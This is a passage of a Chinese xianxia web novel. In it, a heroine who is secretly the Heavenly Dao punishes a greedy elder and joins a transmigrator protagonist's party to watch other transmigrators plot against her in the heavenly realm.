『此人修为低微,竟能在我面前掩藏气息,必是身怀秘宝。以他这点微末道行,竟敢动用秘宝,不知是愚不可及,还是某大势力之人。若是前者,杀之了事;若是后者,则需做得干净。能令筑基修士在金丹面前隐匿气息,必是宝物,比灵芝更胜一筹,我定要得之!』
云灵抬眼,见那长老一副不屑与她言语的模样,果然,这些修士表面不屑一顾,实则心中都算计如何杀人夺宝。
云灵正欲开口,目光忽转至杨巅峰身上。
杨巅峰目光一凛,趁人不备,手中之物迅速掷出,一把拉住林兰之手。
烟雾顿起,中年长老察觉有异,挥手布下结界,将身后之人护于其中。
『竟敢在我面前耍花样,小子胆大。』
长老眼中闪过一丝欣赏,转头看向云灵时,那欣赏之色瞬间消失。
『有此等秘宝,竟不早逃,真是愚蠢。』
长老心中冷哼,面上却不露声色,他身旁弟子见他无意追击,立刻将目标锁定云灵。
“如今你孤身一人,若献出灵芝,也算是交个朋友,如何?”
“你们这是要抢夺?灵芝已被带走,若要抢夺,也得去追他们。”
云灵指向西南方向,一副为对方着想的模样。
“何来抢夺?我等只是想与你交易。休要胡言。”
“哦?那你们要交易之人已逃,我手中并无灵芝。”
“小子,你这是想欺瞒我?”中年修士开口,众人皆怒视云灵。
这金丹修士从未想过放过云灵,灵芝不过是个借口,无论云灵如何说,他都会找理由发难。
金丹期的威压猛然袭来,金丹修士已在想象云灵跪地求饶的场景。
“轰隆!”
晴空之上突然劈下一道惊雷,防御阵法应声而碎,原本不可一世的金丹修士猛然趴倒在地,鲜血如泉涌,不断从他口中喷出。
恐怖的天地威压从四面八方袭来,金丹修士连根手指都动弹不得。
“咦?看来连天都看不过眼你这等行径。”云灵悠然坐于石头之上,语气嘲讽。
“长老!”
身后众人紧张欲上前,却又恐被牵连,只能以声音表达情绪。
无人怀疑云灵,毕竟一个筑基期修士,若能引雷击败金丹后期之人,那简直是逆天之举!
与此同时,空虚派。
一名内门弟子御剑,急匆匆地向最高的山峰疾飞而来。
“掌门!大事不好!”
掌门未等弟子近前,便已步出,眉宇间自有一股不怒自威的气势。
“何事如此慌张?”掌门沉声问道。
弟子气喘吁吁,手中紧握一块玉牌,急道:“二长老的魂牌,裂了!”
那魂牌乃上等玉石雕琢而成,流光溢彩,灵气环绕。然而此刻,玉牌上竟出现了数道裂痕,灵气正顺着裂痕缓缓流失。
掌门眉头紧锁,这是他生平首次遇到此等异事。
这魂牌乃是显示主人生死的之物,若光华黯淡,则主人命悬一线;若魂牌碎裂,则主人已逝。但眼前这魂牌光华未灭,玉牌亦未碎,只是出现了裂痕,灵气流失,这究竟意味着什么?
“二长老身边的弟子们如何了?”掌门急切地问道。
“他们并无异常。”弟子答道。
掌门接过玉牌,翻来覆去地查看,却看不出任何端倪。除了灵气流失,玉牌并无其他异样。
难道是玉牌本身有瑕疵,因而损坏了?掌门甚至摇晃着玉牌,试图找出问题所在。
然而,掌门所不知的是,二长老此刻的修为正如玉牌中的灵气一般,正不断流失。
二长老心中涌起一股久违的情绪,那是恐惧。
他的内心呐喊着,却无法开口,只能惊恐地瞪大眼睛。
曾几何时,他喜欢欣赏他人挣扎无助的模样,觉得那是乐趣。然而如今,他才真正体会到这种无助的恐惧。
那些人总是咒骂他,说他会有报应。他总是嗤之以鼻,没想到今日,报应真的降临了。
他错了!他祈求上天宽恕!
“那是什么?”
“好浓郁的灵气!”
“大家快打坐吸收。”
无人注意到二长老的惊恐,他们只因为二长老身上飘散的灵气而惊喜。
“欠下的,迟早都是要还的。”
仿佛从遥远天际传来的声音,却未引起任何人的注意,他们都以为自己幻听了。
云灵转身,消失在原地,无人察觉她的离去。
不久,二长老的修为终于跌到了筑基……炼气……
弟子们这才察觉到二长老的异常,想要靠近,却被威压所阻。
待二长老的修为尽散,威压也随之消散,众人才将他带回了空虚派。
此时的二长老,已非昔日威风凛凛的长老,而是变成了一个浑身布满老年斑、佝偻着身子的老者。
这一方,杨巅峰与林兰的境遇亦是颇为狼狈。
他们意外地被传送至一片竹林之中。不巧的是,此处正有两派筑基期的修士在激烈交战。
若是平日,这些修士自然不足为惧,但此刻二人皆身受重伤,形势危急。
最终,二人稀里糊涂地被卷入了战局,拼死一战,方才保住性命,并意外地赢得了这场斗决。
正当他们以为可以稍作喘息之时,杨巅峰的金丹雷劫却突然降临。
他刚刚经历了一场激战,已是强弩之末,此刻又要迎接雷劫,其狼狈之状可想而知。
原本十
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成的把握,如今只剩下两成。
云灵在坊市闲逛,耳边突然传来阵阵骂声。
她微微感应,方知有人在渡劫,而这人正是杨巅峰。
他被人打劫时骂天,渡劫时还在骂天……
云灵观察了片刻,见杨巅峰似乎快要支撑不住,她意念一动,原本的雷劫足足翻了五倍。
杨巅峰险些丧命,一旁的林兰更是看得心惊胆战。
好不容易熬过了雷劫,却没想到紧接着又是一道天雷从天而降,连准备的机会都没有留给杨巅峰。
却没想到在雷劫来临的前一刻,杨巅峰身上突然冒出金光,竟然将这完全不正常的雷劫扛了下来。
……
“我已经找到了他的位置。”
白色的云雾中,五个穿着白衣的人站在一起,每个人都长得极为好看,让人一看就觉得移不开眼。
几人的中心有一面水镜,水镜中出现的是一个相貌普通的男人。
“这是第一百个,等他飞升,我们就可以动手了。”其中一人说道。
“那个方法真的可靠吗?”另外四人的目光齐齐转向其中最为好看的男人。
“相信我。”
“可是……这次他的雷劫,和我们的不太一样,会不会……已经被察觉了?”有人担忧地问道。
“没事,前段时间我感觉到它的力量突然消失了一下,后面才重聚,它应该已经不行了,就算发现也只是最后的挣扎而已。”男人安慰道。
“我们这样,是不是不太好……”有人犹豫地说道。
“你们想想自己的遭遇,想想这个世间的人,我们不是为了我们自己,而是为了苍生。”
几人自以为议论之声低沉,足以避人耳目,殊不知身后已有一少女悄然而立。
云灵非有意窃听,实乃几人声量过大,连她身处下界亦能听闻,遂上来一探究竟。不料却听闻了他们的计谋,似乎是在策划什么阴谋,若她所料不差,正是针对她的。
他们打着为苍生着想的幌子,却掩不住眼中贪婪之色。
一百个,想必是一百个穿越者,一百个……又能如何?
云灵侧首沉思,似乎一百人只需她微动意念,便可轻易碾碎,且看这群人如何蹦跶,这世界也该好好清理一番了。
云灵将几人的计划听了个遍,顺带还逛了逛他们的老巢。
这些人皆是从下界飞升而来,已是几万岁的老古董,之所以有此计划,皆因他们在下界时便拥有不小的影响力,后来渡劫时窥得天机,获得了一些这个世界之人所不具备的力量。加之天界的修炼比下界更为轻松,同乡相见,便生出了搞些事情的念头。
起初只有几人穿越至这个世界,后来这群人发现了穿越的契机,便开始有计划地让人穿越。每个穿越过来的人都会剥夺一些天道的力量,导致天道日渐衰弱。后来他们找到了彻底剥夺天道力量的方法,只是尚缺人手。
这些年穿越过来的人不在少数,只是有些人穿越后未能修炼至飞升,他们的计划便一直搁置,直至今日。
他们不知,天道乃诸般规则的聚合体,世界生灵再强大,也无法超越天道,除非其能执掌每一道规则。这是不可能的,执掌亿万万规则,除非你是天道,否则的话,任你神通广大,在天道眼前,也蹦跶不了。
既然他们想蹦跶,云灵就成全他们蹦跶到最后,她意念微动,天界突然间地震,将众人吓得不轻,还以为有什么了不得的宝物即将出世。
云灵在天界稍作逗留,再返下界时,已是两年光阴荏苒。
杨巅峰的修为已臻金丹中期,两年内连升一境,这修炼速度可谓惊人。他身边原本只有林兰一位女子,如今又添了两位气质迥异的佳人。
一位妖娆妩媚,一位温柔婉约。
林兰天性纯真,在这两位面前显得有些稚气,却也因此更显得独特。或许是因为她跟随杨巅峰最久,杨巅峰对她总是多一分偏爱。
一男三女,这四人行的组合颇为奇特,常引人侧目,不为别的,只因那男子相貌平平,在三女映衬下,竟显得有些丑陋。
杨巅峰的长相不算丑陋,也非俊美,只能说是平平无奇,但在三位佳人的衬托下,他的形象不免大打折扣。
“今日无论如何,我们也要拍得寒冰草。”杨巅峰坚定地说。
寒冰草乃是炼制玄灵丹的一味关键灵药,而玄灵丹能够帮助金丹大圆满的修士突破瓶颈。
许多人终其一生,都难以跨越金丹大圆满这一关,那层看似简单的屏障,却是许多人一生的追求。
64. 天道世界
玄灵丹的效用,无疑是天大的机缘,然而这种丹药早已失传,杨巅峰也是在一个秘境中偶然得到。
他如今只是金丹中期,使用玄灵丹尚早,他是为了身边那位温婉的佳人而炼制。
云灵进入拍卖会,悄然坐在四人身后。
同时,云灵也感知了那玄灵丹,发现在这个世界的历史上,根本就没有这种丹药的存在。
目前能够帮助修士突破的丹药,只有筑基期可用的筑元丹,能够帮助筑基修士突破,但服用后,那人此生便只能停留在金丹初期,再无进境的可能。除非走投无路,否则没有修士愿意服用丹药突破,因为代价实在太大。
然而,云灵从几人的过去中得知,这玄灵丹能够帮助人突破,且没有任何副作用。
这怎么可能……
云灵从丹方上看不出任何问题,那么问题只可能出在丹药上。
随着时间的推移,众人陆续入场,拍卖会正式开始。
主持人先是一番客套的开场白,然后才进入正题。
拍卖的物品价值由低到高,越是后面的,越是珍贵难得。起初,云灵面前的几人并未出手,直到拍卖会进行到中段,他们才开始竞拍。或许是为了掩盖真实目的,他们先拍了些无关紧要的物品,有时只是叫价,并未真心想要。
云灵并未察觉到有人在关注这几人,他们完全是多虑,自导自演了一场欲盖弥彰的戏码。
云灵看得有些好笑。
寒冰草是在拍卖会的中后期出现的,一亮相便吸引了众多目光,显然这灵药的效用非同小可。
云灵旁观了片刻,竞拍者众多,但四人直至后段方才出手,一旦出价,便是志在必得之势。
“一颗百回丹。”
百回丹,乃是能瞬间补回修士灵气,修复伤势的灵丹,于激战之中,无疑是救命的法宝。
一时间,场内哗然。
“一颗百回丹,还有哪位出价更高?”主持人的声音中带着难以掩饰的激动。
百回丹的价值,换得一株玄冰草,甚至十株亦不为过。
拍卖场内顿时鸦雀无声。
云灵环视四周,似乎无人再愿出价。
四人脸上露出得意之色。
“既然如此,那我出一把上品灵器。”云灵语毕,取出一把古琴,轻轻一抛,琴身在空中划过一道弧线,落在主持人手中,顿时一股温润的灵气在场中弥漫开来。
众人还未来得及惊叹,主持人已是激动万分地握住飞来的古琴。
“这……这哪里是上品灵器,分明是极品灵器!”主持人的声音中带着一丝颤抖。
中品灵器已是难得,极品灵器更是接近仙器的存在,世上已是罕见,今日竟有人如此大手笔……用极品灵器换取一株灵药,岂不是疯了?
众人皆以异样的目光看向云灵,即便是前方的四人也不禁回头,见到云灵的面容,皆是一愣。
好一个绝色的女子。
杨巅峰自觉身边的女子已是世间少有,却未料到还有如此绝色之人,美得令人难以用言语形容。
诡谲……这两个字似乎格外适合她。
本欲出口的劝说,此刻却是无法启齿。杨巅峰目光闪烁,面色如常地转回头去。
他身边的女子见状,纷纷松了一口气。
身后的女子实在太美,她们之前怎未注意到?
与她们有同样疑问的,还有在场的所有人。
云灵此刻乃是天道,自然是这个世界最美的存在。
“我说是上品,便是上品。”
台上的主持人闻言,这才回过神来,尴尬地将古琴放在桌上。
“一把上品灵器……还有人出更高的价格吗?”主持人在说到“上品”二字时,嘴角不自觉地抽搐了几下。
这分明是极品灵器,那位却偏要说是上品,这等任性,当着众人之面睁眼说瞎话,贬低极品灵器。
“杨哥哥……”林兰轻扯杨巅峰的袖袍,眼中流露出担忧之色。
“兰儿,我们这里拿不出更好的东西了,即便有,拿出来也太引人注目。拍卖结束后,我再想想办法。”
“要相信杨大哥。”他身边的女子们并不知道杨巅峰此刻的想法,若是知晓,恐怕要气得吐血。
最终,寒冰草自然是落入了云灵手中,而且还是打破常规的现场交易。
拿到寒冰草后,云灵发现,投向她的目光更多了。
云灵意念微动,那些不怀好意的目光便如烟消云散。
众人的目光重新聚焦于拍卖台上的下一件宝物。
拍卖会允许中途离场,云灵取得寒冰草后,便起身欲走。
杨巅峰四人交换了一个眼神,迅速跟了上去。
“这位姑娘,请留步。”杨巅峰的声音从身后传来,云灵停下脚步,转头望向他。
“有何贵干?”
见几人目光有些呆滞,云灵轻哼一声。
“嗯?若无事,我便告辞了。”
几人这才回过神来,杨巅峰不顾自己平日的高冷,急忙上前拦住云灵。
“姑娘,那株寒冰草对我们至关重要,所以……”
杨巅峰的话已经说得十分直白,若是常人,此刻定会反问其意。
云灵却只是挑了挑眉,淡淡地应了一声。
“哦。”
她耳边传来杨巅峰内心的呼唤:“问我啊,问我……”
“既然诸位无事,我便告辞了。”
什么叫他们无事?他们的目的已经昭然若揭,这女子是真不懂还是故意装傻?
“姑娘留步。”
“我们愿意用其他宝物与姑娘交换,只要姑娘愿意将寒冰草让给我们,我可以答应姑娘三个要求。”
几个女子惊呼,急忙劝阻。
云灵本想拒绝,但见这几人的反应,突然想起了在天界所见的一切。
若是那些人费尽心思,最后发现自己想要对付的人也参与了自己的计划……那会是何等表情。
“那好吧,我要加入你们。”
除了林兰目光闪烁之外,其余女子的脸色立刻变得难看,惊讶和诧异全都消失不见。
“我不同意!”
“不行。”
“无妨。”
杨巅峰用眼神安抚了众人,随即对云灵露出了一个自认为魅力十足的笑容。
同时,云灵也听到了他的心声。
『果然被我吸引了,像这种女子,遇到的男子肯定都为她痴迷,对我这种不为所动的,肯定会有不同的感觉……』
云灵有一种想要一巴掌拍死他的冲动。
为了最后的好戏,一定要冷静。
云灵巧妙地融入了杨巅峰的队伍,几位女子表面上和睦相处,实则暗潮汹涌。
起初她们联手排挤云灵,却每每自食其果。
随着时间的推移,她们发现云灵并非易与之辈,且并无争宠之心,便逐渐偃旗息鼓,转而继续她们之间的争斗。
云灵注意到林兰也已踏入金丹初期,以她的年纪而言,无疑是个天才。
杨巅峰身边的女子们天赋皆非凡,跟随他之后更是机缘不断,修为提升如同喝水般简单。
百年间,云灵见证杨巅峰身边的女子从最初的三位增至八位,追随他的队伍中也添了几名男子。
这些人表面上对杨巅峰的气度和人品钦佩不已,实则心中各有算计,皆因跟随他能获得利益,这才忠心耿耿。
毕竟修行之路漫漫,若有捷径,何乐而不为?抢夺他人之物亦是常事,利用他人之力并不丢脸。
然而,这些年来,这些人渡劫时都异常艰难,云灵让他们多吃了些苦头,这也使得他们对天道的怨恨愈发深厚。
他们心中对天道咒骂不已,面对云灵时却又极尽谄媚。
有时云灵真想告诉他们,不必讨好于她,她便是天道,大可向她挑战。
但云灵并未说出口,即便说了,也无人会信。
在他们眼中,天道无形无相,而云灵却是有血有肉之人。
云灵也渐渐明白,那些穿越者为何有如此底气与天道抗衡,因为他们并非孤军奋战,而是一群。
单是杨巅峰一人,便如光环加身,身边聚集的都是人中龙凤,而这些人身后又有着强大的势力支持。
可以说,一个杨巅峰,便代表了这个世界最顶尖的力量。
百年时光,不长不短,终于到了杨巅峰渡劫飞升之时。
杨巅峰早已达到飞升的条件,却刻意压制修为,只为等待身后的众人一同飞升。
云灵自然也在其列。
在约定飞升的前一天……
“这些都是我为你准备的,你一定要挺过去。”一个男子将一个储物袋递给云灵,眼中满是复杂的情感。
“多谢。”云灵接过储物袋,回以微笑。
这已是她收到的第五个储物袋。
深夜,云灵正欲就寝。
“灵儿。”房间中突然多了一人,云灵睁开眼,见是杨巅峰,一脚便踹了出去。
杨巅峰被踢得倒飞出去,撞在自己布下的结界上。
“啊?是你。抱歉。”云灵似乎这才看清来人,“这么晚了,有何贵干?”
杨巅峰也知自己唐突,揉了揉胸口,站起身来。
“灵儿!”杨巅峰的声音低沉,仿佛有千言万语欲言又止,眼中满是压抑的情感。
杨巅峰似乎有千言万语,最终却化作一声叹息。
“唉……罢了。”
他口中虽然说着“罢了”,目光却紧紧锁定云灵。
“我叫云灵,不是灵儿。”云灵纠正道。
杨巅峰刻意营造的哀愁气氛,瞬间烟消云散。
“明日的飞升非同
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小可,我为你准备了一些物事。”他不再多言,从怀中一件件取出防御灵器,每一件都是极品,其中还夹杂着几件低阶仙器。
仙器在这个世界已近乎绝迹,杨巅峰手中的这些,都是他亲手炼制。
这些宝物,任何一件都足以引起轰动,此刻却被他轻描淡写地摆在云灵面前。
云灵未等他继续,便直接取过他手中的储物袋。
“多谢,夜深了,我该休息了。”
杨巅峰的神情顿时一滞。
他之所以深夜来访,还一一介绍这些宝物,心中自然有所图谋。
他那龌龊的心思,云灵早已洞悉,为了不当场发作,她只能下逐客令。
长得如此平庸,演技又如此尴尬,云灵真想一掌将他拍成肉沫。
“云灵,我爱你。”杨巅峰突然表白。
云灵脸上的笑容一僵,她那一贯的从容几乎破功。
“你和她们不同,灵儿,我知道现在的我配不上你,但我会努力……”
“说完了吗?”云灵依靠在墙上,一副若无其事的样子。
杨巅峰的话顿时卡壳,心中有些恼怒,表面却是黯然。
“灵……”
“这些东西我不要了。”
“别!这些你一定要拿着……”
“喏。”云灵拿出五个储物袋,“这些都是别人给我的,我觉得我渡劫用不完,你给我也是浪费。”
杨巅峰的表情彻底僵住,他这才意识到,这个女子为何一直对他若即若离,原来还有其他男子在与他竞争。
想到自己身后的女子,又想想那些跟随自己的男子都是单身,他只能压下心中的不满。
“那你早些歇息。”
“不送。”
******
渡劫之地都是精心挑选的,相隔一定距离,却又不是太远,恰到好处。
杨巅峰早已开始用山石布置了十几个防御阵法,为的就是今日能够平安渡劫。
“诸位,时辰已到,准备迎接天劫。”
杨巅峰的声音传来,与此同时,渡劫期强者的威压自四面八方涌来,令周遭修士无不心惊胆战,更有甚者,已是身受重伤。
众人之所以选择同日渡劫,一来是杨巅峰的意愿,二来则是他想探究,若众人合力渡劫,是否能将天雷之力分散,从而减轻渡劫之苦。
然而,这一谋算注定要落空了,因为云灵,便是那高高在上的天道呐!
天雷之力分散固然可行,但分散是否均匀,却非人力所能左右。有的修士或许能轻松度过,有的则可能承受更大的劫难。
云灵先是幻化出渡劫期的威压,随后便单手托腮,闭目养神。
乌云自天边滚滚而来,迅速笼罩了整片天地,天色瞬间变得漆黑如墨,仿佛陷入了无尽的黑夜。
“轰隆隆……咔嚓咔嚓……”
雷声与闪电交织,不断回荡在天地间,然而天雷却迟迟未降,仿佛在酝酿着什么惊天动地的大事。
原本信心满满的众人,心中不禁生出一丝忐忑。
这雷,究竟是降还是不降?能否痛快一些?
唯有杨巅峰,依旧镇定自若。
历经数次渡劫,他早已明白,这天道似乎与他过不去,劈向他的雷总是更为猛烈。
若非知晓天道无意识,他几乎要以为天道在刻意针对他。
但同样的,他也从中获益良多。
每当天雷落下,他便能窥见一丝天机。他有种预感,只要他努力修行,超脱这个世界,乃至拥有自己的世界,也并非不可能。
云灵听到杨巅峰的心声,嘴角勾起一抹讥讽的笑意。
在渡劫之时,竟还想着如何掌控天道,窃取天道之力,这是真当天道不存在吗?
终于,在酝酿了半个时辰后,天雷开始降下。
十几道闪电与惊雷同时劈落,威力却远不如众人所想。
原本以为酝酿了这么久,定会降下惊天动地的雷劫,却没想到只是如此小的一道雷劫,众人甚至无需动用灵器,只需自身结个防御结界,便可轻松抵挡。
在众人庆幸与暗自唾骂天道虚张声势之际,杨巅峰的第一道雷劫终于降临。
原本漆黑的天地瞬间被一道耀眼的光芒照亮,一道闪电从乌云中直冲而下。
闪电未至,那恐怖的威压已令地面颤动,山石飞溅。
杨巅峰脸色大变,急忙运转灵力防御,同时激活了几件防御仙器。
然而,在世人眼中强悍无比的仙器,在天雷面前却如同纸糊,瞬间化为齑粉。
杨巅峰被劈个正着,心中所有的念头、天机,全都烟消云散。
“噗……”
他感到四肢百骸仿佛在瞬间崩裂,剧痛令他全身抽搐,鲜血如喷泉般洒落一地。
杨巅峰还未反应过来,第二道天雷再次劈落。
65. 天道世界
这场异象,整整持续了一月,方才渐渐消散。
十余位修士轻松度过,唯有杨巅峰,险些丧命于天雷之下。
接引之光降临,众人身上的伤势逐渐愈合。那黑了一月的天际,终于露出了曙光。
无数修士以艳羡的目光,目送杨巅峰等人离去,这是一场震撼人心的飞升,也是一场视觉的盛宴。
不过一刻钟,原本还在下界的众人,便已抵达天界。
天界与下界截然不同,这里仙气浓郁,植物茂盛,色彩斑斓。
众人刚一落地,便有人迎了上来。
“是杨先生吧?我们已等候多时。”
这个世界并无“先生”之称,杨巅峰听到这熟悉又陌生的称呼,不禁一愣。
“你……你是?”他的声音带着迟疑。
“我是南女士,初次见面,请多关照。”一位貌美的女子微笑着伸出手。
杨巅峰看着那只手,眼睛逐渐瞪大。
“你……你……”
他的眼中并没有太多喜悦,更多的是惊恐。他不会又回到了现代吧?杨巅峰感受到仙气的存在,这才松了一口气。
两人自以为自己的话无人能懂,也就无所顾忌。事实上也确实如此,除了云灵,其他人都是一脸茫然地看着两人打哑谜。
“你也是?”
“嗯,我是。”
“你何时来的?在这里多久了?”
“已经好多万年了,记不清了。我们建立了一个协会,还有个计划,我相信你一定会感兴趣的……”
“杨兄在天界有朋友吗?”有人小声问道,却无人回答。
杨巅峰从未提过自己在天界有朋友,但那女子显然是天界之人,两人的熟稔程度,也不像是刚刚相识。
得不到答案,众人只能将疑惑埋藏心底。
女子领着众人来到他们的基地。这里与云灵上次来时一样,没有任何变化,只是人数似乎更多了些。
这里的仙人众多,却都不使用仙力,给人一种人间集市的感觉。
“请随我来。”
到达基地大门时,立刻有人上前,为云灵等人安排住处,而杨巅峰则跟着那女子离开。
“刚刚那位女子是谁?林兰,你跟随杨兄时间最长,你知道吗?”
云灵身边的林兰突然被点名,抬起头,似乎还没回过神来。
“我……我也不知道,杨哥哥从未提过。”
“云灵,你觉得这里怎么样?比修仙界是不是要好很多?”
话题不知怎的转到了云灵身上,原本扮演隐形人的云灵,就这样成了众人的焦点。
“还好。”云灵对于这些穿越者的基地并无太多感觉。
“切,装什么装。”有人不屑地翻了个白眼,显然对云灵的态度颇为不满。
“这里的一切果然和修仙界大相径庭。”
有人及时岔开话题,试图缓和气氛。
云灵并不想与这些人争执,便选择了沉默。
那人见云灵不予理会,也失去了挑衅的兴趣,转而与其他人讨论起来。
“那是什么山,形状好生奇特。”
“那不是山,似乎是人工建造之物。”
“人工建造,怎可能如此高耸……”
领路的仙人眼中闪过一丝轻蔑,真是一群乡巴佬。
这里的建筑与这个世界的风格迥异,尽是高楼大厦。
云灵甚至看到一些仙人踩着滑板滑行。
那些人自诩仙风道骨,高傲地昂着头,但在云灵眼中,却显得有些愚蠢。
有仙力不用,却选择这种既慢又费力的交通工具…
滑板确实是个不错的交通工具,但对于仙人而言,却显得有些多余。
当一行人入住基地时,杨巅峰也见到了自己的许多同胞。男女皆有,个个容貌俊美。他们身着西装礼服,与这个世界格格不入,却让杨巅峰感到分外亲切。
“杨先生来了。”
“杨先生你好。”
“杨先生,我们已经等你很久了。”
杨巅峰的到来受到了这些仙人热烈的欢迎。习惯了修仙者淡漠性格的杨巅峰,内心的激动也逐渐复苏。他脸上的平静消失,取而代之的是一脸微笑,与这些人一一握手拥抱,心中的兴奋溢于言表。
他曾以为自己被这个世界抛弃,因为这是一个全然陌生的世界,没有任何熟悉的事物。
熟悉这个世界后,他偶尔会怀念曾经的世界,却从未想过要回去,因为他不想失去现在所拥有的一切。
而此刻,见到这些面孔,以及这里的一切,都让他有种回到那个世界的感觉。
这既满足了他偶尔的思乡之情,又让他没有失去任何东西。
“杨先生刚上来,这场欢迎会结束后,先去休息一下。今天主要是让大家相互认识,至于那个计划,等你休息好了我们再说。”
虽然仙人并不需要休息,但这些人还是非常贴心地给了杨巅峰一些时间。
说是欢迎会,就真的是欢迎会,云灵并没有听到任何有用的信息。
在天界,云灵并没有过上安生日子。
面对这个完全颠覆认知的世界,即便是淡漠如修仙者也忍不住好奇。
于是这些人就约着准备出去看看,云灵自然是要随大流的,每天就跟着这些人出去转悠。
云灵对这个世界并不好奇,她的平静就显得有些凸出,也让人不由得产生一种她很稳重的感觉。
一连在基地逛了几天,天界与下界的迥异终于让这些人感到了紧迫,开始投入到修炼之中。
云灵也终于得以摆脱与他们一同闲逛的日子。
对于仙界,云灵并无太多好奇,便开始在自己的房间里,看起了电视。
这些穿越者将投影石利用起来,制作成了类似电视的设备,播放的是一些仙人的奇遇、日常生活,以及一些洗脑式的讲道。
看了一会儿,云灵就觉得……这日子过得有些无聊。
她的身影瞬间消失,再次出现时,已是在天界的一片城区之中。
天界的建筑都已经变得偏向现代化,只有少数几座还保持着这个世界原有的风格。
从这里就可以看出这些穿越者的影响力。
这些人之所以如此明目张胆,是因为他们认为天道是没有思维的。没有思维的东西,又怎能掌管好一个世界呢……
另一边的杨巅峰已经加入了穿越者的队伍,随着他们的述说,他原本平静的心逐渐起了波澜。
在渡劫的时候,他就发现,天雷中的力量是可以吸收的,吸收之后力量会大增。
这种增长与修炼无关,而是力量方面的压制。在元婴初期,他就能直接与化神期的修士一战,可以想象这种力量的增长是多么的可怕。
在修仙世界,一个小境界的差距就足以压倒无数人,更何况是一个大境界。
“获取天道的力量……这……要是成功的话,得强大到什么地步。”
“不止是强大力量,而是彻底掌控这个世界。穿梭世界,回到过去,决定世间生死,扭转命运……”
“有些人生来就站在世间顶端,藐视着所有人,而有的人却需要从最底层一点点地爬起来。”
“善良的人死于非命,恶人总是逍遥……”
“只要掌控了天道的力量,这些便不复存在。我们可以让所有人在同一个起跑线,可以让善良的人长命,可以让恶人受到应有的惩罚。”
“甚至扭转时空,亦或者将其他时空的人带到这个空间。”
杨巅峰听着,眼睛逐渐瞪大。
“这……这怎么可能?”
在他的那个世界,一个人一生最多只能活百年左右,而这个世界,一个人的一生却可以长达数万年乃至更久。
若是……若是可以将其他时空的人带过来,那他岂不是可以和家人永远在一起。
“当然可能,你不就是其中一员吗?”艾南笑着反问,双手拉开,一个简易的阵法在她手中成型。
其中蕴含的神秘力量,让人心惊。
“这是?”杨巅峰颤抖地伸出手,想要去触碰那个阵法。
“这是我们研制的阵法,可以穿梭时空,只不过阵法还不完善,所以成功率并不高,可以穿梭的时间也不长。”艾南双手合拢,阵法消失。“不过这件事非同小可,如果失败,我们将从这个世界彻底消失。所以,你愿意加入我们吗?”
杨巅峰几乎没有考虑,就点下了头。
“我愿意。”
“那就好,我们已经等了你很久了,接下来我们来和你说一下具体事宜……”
云灵回到基地时已是夜幕降临,她正准备休息,却被一阵敲门声打断。
“有事吗?”云灵打开门,看到门外的杨巅峰,并不感到意外。
杨巅峰此刻情绪激动,脸色绯红,眼中闪烁着势在必得的光芒,眼底还隐藏着一丝自得的傲然。
“最近我可能会比较忙,我希望你能够好好修炼,将来能助我一臂之力。”
杨巅峰对云灵寄予厚望,因为她的修炼速度和悟性都远超其他人,而且她的美貌也是他所欣赏的。
她美貌又难以接近,总是让人心生征服欲。特别是像杨巅峰这样的男人,更是喜欢挑战那些难以得到的女人。
“助你?所为何事?”
“那日迎接我等之人,你可还记得?他们怀有一个秘密大计,邀我等共谋。此计若成,足以撼动乾坤,改天换地,故而我需你相助。”他顿了顿,又道:“你大可放心,一旦大计得成,你的好处自然少不了
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。这基地中的一切,皆是他们所创,难道你不觉得其中有些物事颇为便利,有些更是威力惊人吗?”
云灵却不这么觉得,这基地中的车辆、滑板,乃至电视、火器,对修士而言,不过是些易碎之物,毫无威力可言。
即便经过改良,面对真正的修士,依旧显得多余。
明明可以直截了当地施展力量,还绕这么大一个弯子,反而削弱了威力。
“待大计成功,我定不会亏待于你。”
杨巅峰自信满满,从未有过如此强烈的信心。
他伸手欲牵云灵之手,却被她巧妙避开,保持着距离。
面对云灵的冷淡,杨巅峰早已习以为常。起初他还会心生恼怒,但随着时间的推移,他渐渐习惯了,甚至开始欣赏起她的这种性格。
当然,这一切都建立在云灵的实力与美貌之上。
美貌之人总是享有特权,这是不争的事实。
百年时光匆匆而过,云灵对杨巅峰那种自我脑补的臆想依旧感到厌烦。
她何时说过喜欢他,要与他并肩作战?真是荒谬至极。
况且,他口中所谓的大计,究竟内容如何,他连提都未曾提起,又怎能断定她会欣然参与?
“这可是天大的恩赐,若你拒绝,只怕会后悔终生。”
『现在你应该对我顶礼膜拜了吧?我可是未来要改变世界的人中的一员,而且我还能带你一同踏上这条道路,拥有这份殊荣的,如今只有我。』
参与计划的人数早有定数,杨巅峰手中的名额确实珍贵无比……
只是……
被人邀请参与针对自己的计划……这种感觉……啧……
杨巅峰以为云灵是喜出望外,于是他向前迈了几步,神色庄重。
“你一定要努力,这个计划我现在不便细说,但我可以保证,只要你加入,你绝不会后悔。”
“这是自然。”
她当然不会后悔,只是不知道到时他们会不会后悔。
杨巅峰自动将云灵的话理解为对他无条件的信任,心中不禁生出几分得意。
虽然表面上对谁都不屑一顾,但她对他终究是不同的,只是她自己尚未察觉。
他相信,终有一日她会明白自己的心意,然后投入他的怀抱。
“还有事吗?我要休息了。”
“那你先休息,这计划不急,但你一定要加紧修炼,若实力不足,是万万不行的。”
“嗯。”
云灵关上门,这才长长地呼了一口气。
刚才她差点忍不住就要揍他了,她果然不适合与男子相处,尤其是在能听见对方心声的时候。
******
“我感应到有弟子飞升了。”
“快,让人去迎接。”
修炼了几百年,好不容易飞升的男子好不容易缓过神,就被天界的一切晃花了眼睛。
这便是飞升后仙人居住的地方吗?
果然,此地与凡尘大不相同,山势奇特,仙气充沛,正是修炼的绝佳之地。
忽见一辆铁甲车疾驰而至,停在面前,那男子惊得连连后退,误以为是何方妖兽,正欲运起仙力抵御,却见车门缓缓开启。
一位身着紧身劲装的女子轻盈下车,出现在男子面前。
男子心中惊疑不定,目光从那铁甲车移至女子身上,确认对方乃是同道中人,这才微微点头。
“这位仙友,敢问可是空虚派的修士?”
男子一愣,视线从那铁甲车移至女子身上,确认对方乃是人修,随即点头。
“啊?嗯,正是。”
“那便好,随我来吧,我乃空虚派的长老满竹寒,如今在空虚集团任职。现集团正值用人之际,你来得正是时候……”
“竟是老祖,失敬失敬。”
男子正欲行大礼,却被满竹寒拦住。
“不必多礼,此处不拘小节,随意便可。”
既是老祖发话,男子自然不再客气。
“在下李武德,不知老祖所言的空虚集团是何所在?”
“与空虚派相仿……”
满竹寒边说边引李武德至车旁。
“老祖,此铁甲车颇为奇特。”
“铁甲车?”
满竹寒诧异,随即明白,这人刚从下界飞升,对这车辆尚不了解。
“此是一种代步之具,与飞剑相类。”
